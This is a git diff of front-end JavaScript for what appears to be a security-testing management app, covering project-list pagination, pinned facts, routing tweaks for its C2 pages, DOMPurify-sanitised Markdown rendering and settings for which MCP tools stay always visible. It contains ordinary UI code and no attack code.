const start = total === 0 ? 0 : (page - 1) * pageSize + 1;
|
||||
const end = total === 0 ? 0 : Math.min(page * pageSize, total);
|
||||
const infoText = tpFmt('projects.paginationRange', `${start}-${end}/${total}`, { start, end, total });
|
||||
const pageText = tpFmt('projects.paginationPage', `${page}/${totalPages}`, { page, total: totalPages });
|
||||
el.innerHTML = `
|
||||
<div class="sidebar-list-pagination-inner sidebar-list-pagination-inner--compact">
|
||||
<span class="pagination-info">${escapeHtml(infoText)}</span>
|
||||
<div class="pagination-controls">
|
||||
<button type="button" class="btn-icon-pagination" onclick="goProjectsPage(${page - 1})" ${page <= 1 || navDisabled ? 'disabled' : ''} title="${escapeHtml(tp('projects.paginationPrev'))}" aria-label="${escapeHtml(tp('projects.paginationPrev'))}">‹</button>
|
||||
<span class="pagination-page">${escapeHtml(pageText)}</span>
|
||||
<button type="button" class="btn-icon-pagination" onclick="goProjectsPage(${page + 1})" ${page >= totalPages || navDisabled ? 'disabled' : ''} title="${escapeHtml(tp('projects.paginationNext'))}" aria-label="${escapeHtml(tp('projects.paginationNext'))}">›</button>
|
||||
</div>
|
||||
<label class="pagination-page-size">
|
||||
${escapeHtml(tp('projects.paginationPerPage'))}
|
||||
<select id="projects-page-size-pagination" onchange="changeProjectsPageSize()">
|
||||
<option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
|
||||
<option value="50" ${pageSize === 50 ? 'selected' : ''}>50</option>
|
||||
<option value="100" ${pageSize === 100 ? 'selected' : ''}>100</option>
|
||||
</select>
|
||||
</label>
|
||||
</div>`;
|
||||
}
|
||||
|
||||
function renderProjectsSidebar() {
|
||||
const el = document.getElementById('projects-list');
|
||||
if (!el) return;
|
||||
updateProjectsListCount();
|
||||
const q = getProjectsListFilter();
|
||||
const list = q
|
||||
? projectsCache.filter((p) => (p.name || '').toLowerCase().includes(q) || (p.description || '').toLowerCase().includes(q))
|
||||
: projectsCache;
|
||||
const list = projectsCache;
|
||||
if (!projectsCache.length) {
|
||||
el.innerHTML =
|
||||
`<div class="projects-empty">${escapeHtml(tp('projects.noProjects'))}<br><button type="button" class="btn-primary btn-small projects-empty-btn" onclick="showNewProjectModal()">${escapeHtml(tp('projects.newProject'))}</button></div>`;
|
||||
updateProjectsDetailVisibility();
|
||||
renderProjectsPagination();
|
||||
return;
|
||||
}
|
||||
if (!list.length) {
|
||||
el.innerHTML = `<div class="projects-empty">${escapeHtml(tp('projects.noMatchingProjects'))}</div>`;
|
||||
updateProjectsDetailVisibility();
|
||||
renderProjectsPagination();
|
||||
return;
|
||||
}
|
||||
el.innerHTML = list.map((p) => {
|
||||
@@ -574,9 +766,12 @@ async function loadProjectFacts() {
|
||||
const vulnLink = f.related_vulnerability_id
|
||||
? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>`
|
||||
: '';
|
||||
const pinBadge = f.pinned
|
||||
? `<span class="projects-list-item-badge" title="${escapeHtml(tp('projects.pinned'))}">${escapeHtml(tp('projects.pinned'))}</span>`
|
||||
: '';
|
||||
return `<tr>
|
||||
<td><code>${keyEsc}</code>${vulnLink}</td>
|
||||
<td>${formatCategoryBadge(f.category)}</td>
|
||||
<td class="cell-fact-key"><code class="projects-fact-key-chip" title="${keyEsc}">${keyEsc}</code>${pinBadge}${vulnLink}</td>
|
||||
<td class="cell-fact-category">${formatCategoryBadge(f.category)}</td>
|
||||
<td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td>
|
||||
<td>${formatFactBodyBadge(f)}</td>
|
||||
<td>${formatConfidenceBadge(f.confidence)}</td>
|
||||
@@ -678,7 +873,6 @@ async function viewProjectFactBody(factKey) {
|
||||
];
|
||||
if (f.related_vulnerability_id) metaParts.push(tpFmt('projects.factMetaRelatedVuln', `Related vulnerability: ${f.related_vulnerability_id}`, { value: f.related_vulnerability_id }));
|
||||
if (f.source_conversation_id) metaParts.push(tpFmt('projects.factMetaSourceConversation', `Source conversation: ${f.source_conversation_id}`, { value: f.source_conversation_id }));
|
||||
if (f.supersedes_fact_id) metaParts.push(tp('projects.factMetaHasPrevious'));
|
||||
document.getElementById('fact-detail-meta').textContent = metaParts.join(' · ');
|
||||
document.getElementById('fact-detail-body').textContent = f.body || tp('projects.emptyBody');
|
||||
const warnEl = document.getElementById('fact-detail-sparse-warn');
|
||||
@@ -691,33 +885,6 @@ async function viewProjectFactBody(factKey) {
|
||||
warnEl.textContent = '';
|
||||
}
|
||||
}
|
||||
const prevWrap = document.getElementById('fact-detail-prev-wrap');
|
||||
if (prevWrap) {
|
||||
prevWrap.hidden = true;
|
||||
if (f.id && f.supersedes_fact_id) {
|
||||
try {
|
||||
const prevRes = await apiFetch(
|
||||
`/api/projects/${currentProjectId}/facts/${encodeURIComponent(f.id)}/previous-version`,
|
||||
);
|
||||
if (prevRes.ok) {
|
||||
const prev = await prevRes.json();
|
||||
prevWrap.hidden = false;
|
||||
document.getElementById('fact-detail-prev-meta').textContent = tpFmt(
|
||||
'projects.factPreviousMeta',
|
||||
`Archived at ${formatProjectTime(prev.archived_at)} · Summary: ${prev.summary || '—'} · Confidence: ${prev.confidence || '—'}`,
|
||||
{
|
||||
time: formatProjectTime(prev.archived_at),
|
||||
summary: prev.summary || '—',
|
||||
confidence: prev.confidence || '—',
|
||||
},
|
||||
);
|
||||
document.getElementById('fact-detail-prev-body').textContent = prev.body || tp('projects.emptyBody');
|
||||
}
|
||||
} catch (e) {
|
||||
console.warn(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
const linkBtn = document.getElementById('fact-detail-link-vuln-btn');
|
||||
const createBtn = document.getElementById('fact-detail-create-vuln-btn');
|
||||
if (linkBtn) linkBtn.hidden = false;
|
||||
@@ -1165,6 +1332,8 @@ function resetFactModalForm() {
|
||||
document.getElementById('fact-modal-summary').value = '';
|
||||
document.getElementById('fact-modal-body').value = '';
|
||||
document.getElementById('fact-modal-confidence').value = 'tentative';
|
||||
const pinEl = document.getElementById('fact-modal-pinned');
|
||||
if (pinEl) pinEl.checked = false;
|
||||
const rel = document.getElementById('fact-modal-related-vuln');
|
||||
if (rel) rel.value = '';
|
||||
updateFactFormHints();
|
||||
@@ -1198,6 +1367,8 @@ function fillFactModalForm(f) {
|
||||
}
|
||||
const rel = document.getElementById('fact-modal-related-vuln');
|
||||
if (rel) rel.value = f.related_vulnerability_id || '';
|
||||
const pinEl = document.getElementById('fact-modal-pinned');
|
||||
if (pinEl) pinEl.checked = !!f.pinned;
|
||||
updateFactFormHints();
|
||||
}
|
||||
|
||||
@@ -1242,6 +1413,7 @@ async function saveFactModal() {
|
||||
summary,
|
||||
body,
|
||||
confidence: document.getElementById('fact-modal-confidence').value,
|
||||
pinned: !!document.getElementById('fact-modal-pinned')?.checked,
|
||||
related_vulnerability_id: document.getElementById('fact-modal-related-vuln')?.value?.trim() || '',
|
||||
};
|
||||
const editId = window._factModalEditId;
|
||||
@@ -1337,7 +1509,8 @@ function getChatProjectSelection() {
|
||||
|
||||
function isActiveChatProjectId(id) {
|
||||
if (!id) return false;
|
||||
return projectsCache.some((p) => p.id === id && p.status !== 'archived');
|
||||
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
|
||||
return source.some((p) => p.id === id && p.status !== 'archived');
|
||||
}
|
||||
|
||||
/** 用于 UI:无效/已删除/无可用项目时视为未绑定 */
|
||||
@@ -1392,7 +1565,8 @@ function renderChatProjectPanelList() {
|
||||
const list = document.getElementById('chat-project-list');
|
||||
if (!list) return;
|
||||
const selected = resolveChatProjectSelection();
|
||||
const activeProjects = projectsCache.filter((p) => p.status !== 'archived');
|
||||
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
|
||||
const activeProjects = source.filter((p) => p.status !== 'archived');
|
||||
const items = [{ id: '', name: tp('projects.noProject'), description: tp('projects.noProjectDescription') }, ...activeProjects];
|
||||
if (!items.length) {
|
||||
list.innerHTML = `<div class="chat-project-panel-empty">${escapeHtml(tp('projects.noProjectsClickCreate'))}</div>`;
|
||||
@@ -1535,6 +1709,7 @@ function initChatProjectSelector() {
|
||||
window._projectsLanguageListenerBound = true;
|
||||
document.addEventListener('languagechange', () => {
|
||||
renderProjectsSidebar();
|
||||
renderProjectsPagination();
|
||||
updateChatProjectButtonLabel();
|
||||
const panel = document.getElementById('chat-project-panel');
|
||||
if (panel && panel.style.display === 'flex') renderChatProjectPanelList();
|
||||
@@ -1594,6 +1769,10 @@ window.restoreProjectFactByKey = restoreProjectFactByKey;
|
||||
window.openVulnerabilitiesForProject = openVulnerabilitiesForProject;
|
||||
window.openVulnerabilityDetail = openVulnerabilityDetail;
|
||||
window.filterProjectsList = filterProjectsList;
|
||||
window.goProjectsPage = goProjectsPage;
|
||||
window.changeProjectsPageSize = changeProjectsPageSize;
|
||||
window.parseProjectsListResponse = parseProjectsListResponse;
|
||||
window.fetchAllProjects = fetchAllProjects;
|
||||
window.debouncedLoadProjectFacts = debouncedLoadProjectFacts;
|
||||
window.debouncedLoadProjectVulnerabilities = debouncedLoadProjectVulnerabilities;
|
||||
window.loadProjectVulnerabilities = loadProjectVulnerabilities;
|
||||
|
||||
+25
-34
@@ -56,8 +56,9 @@ function initRouter() {
|
||||
const hash = window.location.hash.slice(1);
|
||||
if (hash) {
|
||||
const hashParts = hash.split('?');
|
||||
const pageId = hashParts[0];
|
||||
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'projects', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'tasks', 'c2', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
|
||||
let pageId = hashParts[0];
|
||||
if (pageId === 'c2') pageId = 'c2-listeners';
|
||||
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'projects', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'tasks', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
|
||||
switchPage(pageId);
|
||||
if (pageId === 'chat') {
|
||||
scheduleChatConversationFromHash(500);
|
||||
@@ -105,6 +106,7 @@ function updateNavState(pageId) {
|
||||
// 移除所有活动状态
|
||||
document.querySelectorAll('.nav-item').forEach(item => {
|
||||
item.classList.remove('active');
|
||||
item.classList.remove('expanded');
|
||||
});
|
||||
|
||||
document.querySelectorAll('.nav-submenu-item').forEach(item => {
|
||||
@@ -202,16 +204,6 @@ function getNavSubmenuItems(navItem) {
|
||||
return Array.from(submenu.querySelectorAll('.nav-submenu-item'));
|
||||
}
|
||||
|
||||
/** 仅一个子页时直接进入,避免展开后菜单在侧栏底部不可见 */
|
||||
function navigateSingleSubmenuPage(navItem) {
|
||||
const items = getNavSubmenuItems(navItem);
|
||||
if (items.length !== 1) return false;
|
||||
const pageId = items[0].getAttribute('data-page');
|
||||
if (!pageId) return false;
|
||||
switchPage(pageId);
|
||||
return true;
|
||||
}
|
||||
|
||||
// 切换子菜单
|
||||
function toggleSubmenu(menuId) {
|
||||
const sidebar = document.getElementById('main-sidebar');
|
||||
@@ -228,11 +220,6 @@ function toggleSubmenu(menuId) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 展开侧栏且仅一个子项(角色、Agents 等):单击直接进入,无需再点二级菜单
|
||||
if (navigateSingleSubmenuPage(navItem)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 展开状态下切换子菜单,并滚入视口以便看到子项
|
||||
const willExpand = !navItem.classList.contains('expanded');
|
||||
navItem.classList.toggle('expanded');
|
||||
@@ -261,10 +248,6 @@ function showSubmenuPopup(navItem, menuId) {
|
||||
}
|
||||
}
|
||||
|
||||
if (navigateSingleSubmenuPage(navItem)) {
|
||||
return;
|
||||
}
|
||||
|
||||
const navItemContent = navItem.querySelector('.nav-item-content');
|
||||
const submenu = navItem.querySelector('.nav-submenu');
|
||||
|
||||
@@ -332,6 +315,9 @@ function showSubmenuPopup(navItem, menuId) {
|
||||
async function initPage(pageId) {
|
||||
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致页面显示原始占位符 key
|
||||
if (window.i18nReady) await window.i18nReady;
|
||||
if (typeof stopExternalMcpPoll === 'function') {
|
||||
stopExternalMcpPoll();
|
||||
}
|
||||
switch(pageId) {
|
||||
case 'dashboard':
|
||||
if (typeof refreshDashboard === 'function') {
|
||||
@@ -389,21 +375,26 @@ async function initPage(pageId) {
|
||||
}, 100);
|
||||
}
|
||||
};
|
||||
// 先拉取全局配置,确保 tool_search 常驻状态按后端生效集合展示
|
||||
const afterMcpConfigReady = () => {
|
||||
startLoadMcpTools();
|
||||
if (typeof loadExternalMCPs === 'function') {
|
||||
loadExternalMCPs().catch(err => {
|
||||
console.warn('加载外部MCP列表失败:', err);
|
||||
});
|
||||
}
|
||||
if (typeof startExternalMcpPoll === 'function') {
|
||||
startExternalMcpPoll();
|
||||
}
|
||||
};
|
||||
// 先拉取配置(含 tool_search 常驻列表),再加载工具与外部 MCP
|
||||
if (typeof loadConfig === 'function') {
|
||||
loadConfig(false)
|
||||
.catch(err => {
|
||||
console.warn('加载配置失败(将继续加载工具列表):', err);
|
||||
console.warn('加载配置失败(将继续加载 MCP 列表):', err);
|
||||
})
|
||||
.finally(startLoadMcpTools);
|
||||
.finally(afterMcpConfigReady);
|
||||
} else {
|
||||
startLoadMcpTools();
|
||||
}
|
||||
// 先加载外部MCP列表(快速),然后加载工具列表
|
||||
if (typeof loadExternalMCPs === 'function') {
|
||||
loadExternalMCPs().catch(err => {
|
||||
console.warn('加载外部MCP列表失败:', err);
|
||||
});
|
||||
afterMcpConfigReady();
|
||||
}
|
||||
break;
|
||||
case 'projects':
|
||||
@@ -482,7 +473,6 @@ async function initPage(pageId) {
|
||||
loadMarkdownAgents();
|
||||
}
|
||||
break;
|
||||
case 'c2':
|
||||
case 'c2-listeners':
|
||||
case 'c2-sessions':
|
||||
case 'c2-tasks':
|
||||
@@ -512,9 +502,10 @@ document.addEventListener('DOMContentLoaded', function() {
|
||||
const hash = window.location.hash.slice(1);
|
||||
// 处理带参数的hash(如 chat?conversation=xxx)
|
||||
const hashParts = hash.split('?');
|
||||
const pageId = hashParts[0];
|
||||
let pageId = hashParts[0];
|
||||
|
||||
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
|
||||
if (pageId === 'c2') pageId = 'c2-listeners';
|
||||
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
|
||||
switchPage(pageId);
|
||||
if (pageId === 'chat') {
|
||||
scheduleChatConversationFromHash(200);
|
||||
|
||||
@@ -68,9 +68,25 @@
|
||||
domPurifyHooksInstalled = true;
|
||||
}
|
||||
|
||||
/** 明显 Markdown 结构时,不应因零散 HTML 标签误判为整页 HTML */
|
||||
function looksLikeMarkdown(src) {
|
||||
const s = String(src);
|
||||
return /^#{1,6}\s/m.test(s)
|
||||
|| /^\s*[-*+]\s/m.test(s)
|
||||
|| /^\s*\d+\.\s/m.test(s)
|
||||
|| /\*\*[^*\n]+\*\*/.test(s)
|
||||
|| /`[^`\n]+`/.test(s)
|
||||
|| /^```/m.test(s)
|
||||
|| /^\|.+\|/m.test(s)
|
||||
|| /^\s*>\s/m.test(s);
|
||||
}
|
||||
|
||||
/** 探测工具返回的整页 HTML,不宜当作富文本渲染 */
|
||||
function isHeavyRawHtml(src) {
|
||||
const s = String(src);
|
||||
if (looksLikeMarkdown(s)) {
|
||||
return false;
|
||||
}
|
||||
if (/<!DOCTYPE\s+html/i.test(s) || /<\s*html\b/i.test(s)) {
|
||||
return true;
|
||||
}
|
||||
@@ -81,6 +97,10 @@
|
||||
return tags != null && tags.length >= 8;
|
||||
}
|
||||
|
||||
function escapePlainTextAsHtml(text) {
|
||||
return escapeHtmlLocal(text).replace(/\n/g, '<br>');
|
||||
}
|
||||
|
||||
function formatHtmlAsEscapedPre(text) {
|
||||
return '<pre class="tool-result sanitized-raw-html-fallback">' + escapeHtmlLocal(text) + '</pre>';
|
||||
}
|
||||
@@ -115,6 +135,23 @@
|
||||
* @param {{ profile?: 'chat'|'timeline' }} [options]
|
||||
* @returns {string} 安全 HTML
|
||||
*/
|
||||
function buildRichHtmlFromSource(src) {
|
||||
const hasHtmlTags = /<[a-z][\s\S]*>/i.test(src);
|
||||
const preferMarkdown = typeof marked !== 'undefined'
|
||||
&& (looksLikeMarkdown(src) || !hasHtmlTags);
|
||||
|
||||
if (preferMarkdown) {
|
||||
const parsed = parseMarkdownSrc(src);
|
||||
if (parsed != null) {
|
||||
return parsed;
|
||||
}
|
||||
}
|
||||
if (hasHtmlTags) {
|
||||
return src;
|
||||
}
|
||||
return escapePlainTextAsHtml(src);
|
||||
}
|
||||
|
||||
function formatMarkdownToHtml(text, options) {
|
||||
const profile = (options && options.profile === 'timeline') ? 'timeline' : 'chat';
|
||||
const src = normalizeSource(text);
|
||||
@@ -124,24 +161,13 @@
|
||||
}
|
||||
|
||||
if (typeof DOMPurify === 'undefined') {
|
||||
return escapeHtmlLocal(src).replace(/\n/g, '<br>');
|
||||
console.warn('DOMPurify 未加载,Markdown 已降级为纯文本渲染(已转义,防 XSS)');
|
||||
return escapePlainTextAsHtml(src);
|
||||
}
|
||||
|
||||
installDomPurifyHooks();
|
||||
const config = sanitizeConfigForProfile(profile);
|
||||
|
||||
let html;
|
||||
const hasHtmlTags = /<[a-z][\s\S]*>/i.test(src);
|
||||
if (typeof marked !== 'undefined' && !hasHtmlTags) {
|
||||
const parsed = parseMarkdownSrc(src);
|
||||
html = parsed != null ? parsed : escapeHtmlLocal(src).replace(/\n/g, '<br>');
|
||||
} else if (hasHtmlTags) {
|
||||
html = src;
|
||||
} else {
|
||||
html = escapeHtmlLocal(src).replace(/\n/g, '<br>');
|
||||
}
|
||||
|
||||
return DOMPurify.sanitize(html, config);
|
||||
return DOMPurify.sanitize(buildRichHtmlFromSource(src), config);
|
||||
}
|
||||
|
||||
function sanitizeRichHtml(html, profile) {
|
||||
@@ -171,6 +197,7 @@
|
||||
formatMarkdownToHtml: formatMarkdownToHtml,
|
||||
sanitizeRichHtml: sanitizeRichHtml,
|
||||
isHeavyRawHtml: isHeavyRawHtml,
|
||||
looksLikeMarkdown: looksLikeMarkdown,
|
||||
escapeHtmlLocal: escapeHtmlLocal,
|
||||
stripSuspiciousImages: stripSuspiciousImages,
|
||||
};
|
||||
|
||||
+288
-80
@@ -16,6 +16,96 @@ function getToolKey(tool) {
|
||||
}
|
||||
return tool.name;
|
||||
}
|
||||
|
||||
// 常驻工具配置存储键(外部工具用 mcp::tool,与后端 tool_search 白名单一致)
|
||||
function getAlwaysVisibleStorageKey(tool) {
|
||||
return getToolKey(tool);
|
||||
}
|
||||
|
||||
function addAlwaysVisibleAliases(name) {
|
||||
const n = (name || '').trim();
|
||||
if (!n) return;
|
||||
alwaysVisibleToolNames.add(n);
|
||||
if (n.includes('::')) {
|
||||
const sep = n.indexOf('::');
|
||||
const mcp = n.slice(0, sep);
|
||||
const tool = n.slice(sep + 2);
|
||||
if (mcp && tool) {
|
||||
alwaysVisibleToolNames.add(`${mcp}__${tool}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (n.includes('__')) {
|
||||
const sep = n.lastIndexOf('__');
|
||||
const mcp = n.slice(0, sep);
|
||||
const tool = n.slice(sep + 2);
|
||||
if (mcp && tool) {
|
||||
alwaysVisibleToolNames.add(`${mcp}::${tool}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function removeAlwaysVisibleAliases(name) {
|
||||
const n = (name || '').trim();
|
||||
if (!n) return;
|
||||
alwaysVisibleToolNames.delete(n);
|
||||
if (n.includes('::')) {
|
||||
const sep = n.indexOf('::');
|
||||
const mcp = n.slice(0, sep);
|
||||
const tool = n.slice(sep + 2);
|
||||
if (mcp && tool) {
|
||||
alwaysVisibleToolNames.delete(`${mcp}__${tool}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (n.includes('__')) {
|
||||
const sep = n.lastIndexOf('__');
|
||||
const mcp = n.slice(0, sep);
|
||||
const tool = n.slice(sep + 2);
|
||||
if (mcp && tool) {
|
||||
alwaysVisibleToolNames.delete(`${mcp}::${tool}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function isToolAlwaysVisible(tool) {
|
||||
const key = getAlwaysVisibleStorageKey(tool);
|
||||
if (alwaysVisibleToolNames.has(key)) return true;
|
||||
if (alwaysVisibleToolNames.has(tool.name)) return true;
|
||||
if (tool.is_external && tool.external_mcp) {
|
||||
if (alwaysVisibleToolNames.has(`${tool.external_mcp}__${tool.name}`)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function isToolAlwaysVisibleBuiltin(tool) {
|
||||
if (alwaysVisibleBuiltinToolNames.has(tool.name)) return true;
|
||||
return alwaysVisibleBuiltinToolNames.has(getAlwaysVisibleStorageKey(tool));
|
||||
}
|
||||
|
||||
function getAlwaysVisibleForSave() {
|
||||
const out = new Set();
|
||||
for (const name of alwaysVisibleToolNames) {
|
||||
if (alwaysVisibleBuiltinToolNames.has(name)) continue;
|
||||
if (name.includes('::')) {
|
||||
out.add(name);
|
||||
continue;
|
||||
}
|
||||
if (name.includes('__')) {
|
||||
const sep = name.lastIndexOf('__');
|
||||
const mcp = name.slice(0, sep);
|
||||
const tool = name.slice(sep + 2);
|
||||
if (mcp && tool) out.add(`${mcp}::${tool}`);
|
||||
continue;
|
||||
}
|
||||
out.add(name);
|
||||
}
|
||||
return Array.from(out);
|
||||
}
|
||||
|
||||
function countUserAlwaysVisibleTools() {
|
||||
return getAlwaysVisibleForSave().length;
|
||||
}
|
||||
// 从localStorage读取每页显示数量,默认为20
|
||||
const getToolsPageSize = () => {
|
||||
const saved = localStorage.getItem('toolsPageSize');
|
||||
@@ -61,21 +151,25 @@ window.syncC2NavOnceFromServer = async function syncC2NavOnceFromServer() {
|
||||
}
|
||||
};
|
||||
|
||||
// 根据 C2 是否启用显示主导航 C2 入口与仪表盘 C2 区块(与 /api/config 的 c2.enabled 一致)
|
||||
// 根据 C2 是否启用显示主导航 C2 入口与仪表盘接入概览中的 C2 子块(与 /api/config 的 c2.enabled 一致)
|
||||
function syncC2NavFromConfig(cfg) {
|
||||
const on = cfg && cfg.c2 && cfg.c2.enabled !== false;
|
||||
const nav = document.getElementById('nav-c2');
|
||||
if (nav) {
|
||||
nav.style.display = on ? '' : 'none';
|
||||
}
|
||||
const dash = document.getElementById('dashboard-section-c2');
|
||||
if (dash) {
|
||||
const c2Tab = document.getElementById('dashboard-access-tab-c2');
|
||||
if (c2Tab) {
|
||||
if (!on) {
|
||||
dash.hidden = true;
|
||||
c2Tab.hidden = true;
|
||||
} else {
|
||||
dash.removeAttribute('hidden');
|
||||
c2Tab.removeAttribute('hidden');
|
||||
}
|
||||
}
|
||||
window.__c2Enabled = on;
|
||||
if (typeof syncDashboardAccessTabs === 'function') {
|
||||
syncDashboardAccessTabs();
|
||||
}
|
||||
}
|
||||
|
||||
// 切换设置分类
|
||||
@@ -154,14 +248,21 @@ async function loadConfig(loadTools = true) {
|
||||
}
|
||||
|
||||
currentConfig = await response.json();
|
||||
const alwaysVisibleList = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
|
||||
const alwaysVisibleConfigured = currentConfig?.multi_agent?.tool_search_always_visible_tools;
|
||||
alwaysVisibleToolNames = new Set(Array.isArray(alwaysVisibleList) ? alwaysVisibleList.filter(Boolean) : []);
|
||||
alwaysVisibleBuiltinToolNames = new Set(
|
||||
alwaysVisibleToolNames.size > 0 && Array.isArray(alwaysVisibleConfigured)
|
||||
? Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleConfigured.includes(name))
|
||||
: []
|
||||
);
|
||||
const alwaysVisibleEffective = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
|
||||
alwaysVisibleToolNames = new Set();
|
||||
if (Array.isArray(alwaysVisibleConfigured)) {
|
||||
alwaysVisibleConfigured.filter(Boolean).forEach(addAlwaysVisibleAliases);
|
||||
}
|
||||
alwaysVisibleBuiltinToolNames = new Set();
|
||||
if (Array.isArray(alwaysVisibleEffective)) {
|
||||
const configuredSet = new Set(Array.isArray(alwaysVisibleConfigured) ? alwaysVisibleConfigured : []);
|
||||
alwaysVisibleEffective.filter(Boolean).forEach(name => {
|
||||
if (!configuredSet.has(name)) {
|
||||
alwaysVisibleBuiltinToolNames.add(name);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// 填充OpenAI配置
|
||||
const providerEl = document.getElementById('openai-provider');
|
||||
@@ -438,8 +539,11 @@ let toolsSearchKeyword = '';
|
||||
// 工具状态筛选: '' = 全部, 'true' = 已启用, 'false' = 已停用
|
||||
let toolsStatusFilter = '';
|
||||
|
||||
// 按外部 MCP 来源筛选(点击左侧卡片时设置)
|
||||
let toolsExternalMcpFilter = '';
|
||||
|
||||
// 加载工具列表(分页)
|
||||
async function loadToolsList(page = 1, searchKeyword = '') {
|
||||
async function loadToolsList(page = 1, searchKeyword = '', options = {}) {
|
||||
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致显示占位符
|
||||
if (window.i18nReady) await window.i18nReady;
|
||||
const toolsList = document.getElementById('tools-list');
|
||||
@@ -462,6 +566,12 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
||||
if (toolsStatusFilter !== '') {
|
||||
url += `&enabled=${toolsStatusFilter}`;
|
||||
}
|
||||
if (options.refreshExternal) {
|
||||
url += '&refresh_external=true';
|
||||
}
|
||||
if (toolsExternalMcpFilter) {
|
||||
url += `&external_mcp=${encodeURIComponent(toolsExternalMcpFilter)}`;
|
||||
}
|
||||
|
||||
// 使用较短的超时时间(10秒),避免长时间等待
|
||||
const controller = new AbortController();
|
||||
@@ -482,6 +592,7 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
||||
page: result.page || page,
|
||||
pageSize: result.page_size || pageSize,
|
||||
total: result.total || 0,
|
||||
totalEnabled: result.total_enabled ?? 0,
|
||||
totalPages: result.total_pages || 1
|
||||
};
|
||||
|
||||
@@ -500,6 +611,8 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
||||
|
||||
renderToolsList();
|
||||
renderToolsPagination();
|
||||
renderExternalMcpFilterChip();
|
||||
updateExternalMcpCardSelection();
|
||||
} catch (error) {
|
||||
console.error('加载工具列表失败:', error);
|
||||
if (toolsList) {
|
||||
@@ -618,8 +731,8 @@ function renderToolsList() {
|
||||
is_external: tool.is_external || false,
|
||||
external_mcp: tool.external_mcp || ''
|
||||
};
|
||||
const alwaysVisibleChecked = alwaysVisibleToolNames.has(tool.name);
|
||||
const alwaysVisibleLocked = alwaysVisibleBuiltinToolNames.has(tool.name);
|
||||
const alwaysVisibleChecked = isToolAlwaysVisible(tool);
|
||||
const alwaysVisibleLocked = isToolAlwaysVisibleBuiltin(tool);
|
||||
|
||||
// 外部工具标签,显示来源信息(可点击跳转到对应 MCP 卡片)
|
||||
let externalBadge = '';
|
||||
@@ -644,7 +757,7 @@ function renderToolsList() {
|
||||
${escapeHtml(tool.name)}
|
||||
${externalBadge}
|
||||
<label class="tool-resident-toggle" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleHint') : '始终常驻在 Tool Search 可见列表'}" onclick="event.stopPropagation()">
|
||||
<input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(tool.name)}', this.checked)" />
|
||||
<input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(toolKey)}', this.checked)" />
|
||||
<span>${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleLabel') : '常驻'}</span>
|
||||
</label>
|
||||
${alwaysVisibleLocked ? `<span class="external-tool-badge" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinHint') : '后端内置工具默认常驻,不可关闭'}">${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinLabel') : '内置默认'}</span>` : ''}
|
||||
@@ -759,8 +872,7 @@ function scrollToExternalMCP(mcpName, event) {
|
||||
event.stopPropagation();
|
||||
const items = document.querySelectorAll('.external-mcp-item');
|
||||
for (const item of items) {
|
||||
const h4 = item.querySelector('h4');
|
||||
if (h4 && h4.textContent.includes(mcpName)) {
|
||||
if (item.dataset.mcpName === mcpName) {
|
||||
item.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||
item.classList.add('highlight');
|
||||
setTimeout(() => item.classList.remove('highlight'), 2000);
|
||||
@@ -769,6 +881,94 @@ function scrollToExternalMCP(mcpName, event) {
|
||||
}
